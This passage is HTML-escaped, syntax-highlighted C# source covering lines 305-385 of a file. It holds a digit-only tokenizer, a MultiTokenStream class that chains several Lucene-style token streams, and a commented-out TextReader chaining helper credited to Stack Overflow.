class=&#34;ln&#34;&gt;305&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;306&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;307&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;308&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;protected&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IsTokenChar&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;char&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;c&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;309&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;310&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// only consider numbers to be tokenizable characters&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;311&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;char&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IsNumber&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;c&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;312&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;313&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;314&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;315&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;MultiTokenStream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;316&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;317&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;MultiTokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IEnumerable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tokenStreams&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;318&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;319&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;_tokenStreams&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;List&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tokenStreams&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;            &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;320&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;321&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;322&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;List&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_tokenStreams&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;323&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_tokenStreamEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;324&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_currentTokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;325&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;326&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ClearAttributes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;327&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;328&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;base&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ClearAttributes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;329&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;foreach&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tokenStream&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_tokenStreams&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;330&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;tokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ClearAttributes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;331&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;332&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;333&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IncrementToken&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;334&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;335&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_tokenStreamEnumerator&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;null&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;336&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;_tokenStreamEnumerator&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_tokenStreams&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;337&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;338&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_currentTokenStream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;null&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;339&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;340&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(!&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_tokenStreamEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MoveNext&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;341&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;342&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;343&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;_currentTokenStream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_tokenStreamEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Current&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;344&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;345&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;346&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;success&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_currentTokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IncrementToken&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;347&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;348&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;base&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;RestoreState&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_currentTokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CaptureState&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;());&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;349&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;350&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(!&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;success&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;351&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;352&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(!&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_tokenStreamEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MoveNext&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;353&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;_currentTokenStream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_tokenStreamEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Current&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;354&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;355&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;356&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;357&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;358&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;359&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;360&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Reset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;361&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;362&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;null&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_tokenStreamEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;363&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;_tokenStreamEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Reset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;364&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;_currentTokenStream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;null&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;365&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;366&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;367&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;368&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;cs&#34;&gt;//// FROM: http://stackoverflow.com/questions/2925652/how-to-string-multiple-textreaders-together&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;369&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//public static class Extensions&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;370&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;371&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//    public static TextReader Union(this TextReader first, TextReader second)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;372&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//    {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;373&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        return new ChainedTextReader(first, second);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;374&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//    }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;375&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;376&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//    private class ChainedTextReader : TextReader&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;377&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//    {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;378&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        private TextReader first;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;379&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        private TextReader second;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;380&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        private bool readFirst = true;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;381&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;382&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        public ChainedTextReader(TextReader first, TextReader second)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;383&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;384&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            this.first = first;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;385&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            